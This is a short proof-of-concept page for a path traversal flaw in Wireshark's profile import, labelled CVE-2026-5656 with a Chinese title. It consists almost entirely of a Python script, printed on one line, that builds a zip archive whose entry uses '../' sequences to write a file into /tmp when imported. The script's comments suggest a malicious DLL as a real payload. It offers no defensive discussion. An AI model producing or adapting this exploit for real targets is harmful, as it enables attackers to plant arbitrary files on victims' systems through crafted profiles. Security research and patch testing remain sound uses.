CVE-2026-5656 Wireshark路径遍历漏洞

import zipfile import os # Demonstrating the Path Traversal vulnerability in Wireshark Profile Import # This script generates a malicious zip file containing a path traversal payload. def create_malicious_profile(): zip_name = "malicious_wireshark_profile.zip" # The payload content to be written outside the intended directory # In a real attack, this might be a malicious DLL or configuration script payload_data = b"This file should not be here due to path traversal." try: with zipfile.ZipFile(zip_name, 'w') as zf: # Use "../" sequences to escape the extraction folder # Attempting to write to a sensitive location (e.g., parent dir) malicious_filename = "../../../../../../tmp/pwned_wireshark.txt" # Create ZipInfo object to set metadata zinfo = zipfile.ZipInfo(filename=malicious_filename) zinfo.compress_type = zipfile.ZIP_DEFLATED # Write the payload zf.writestr(zinfo, payload_data) print(f"[+] Successfully created malicious profile: {zip_name}") print(f"[+] Payload contains path traversal: {malicious_filename}") print("[+] Import this file into vulnerable Wireshark to trigger the issue.") except Exception as e: print(f"[-] Error creating file: {e}") if __name__ == "__main__": create_malicious_profile()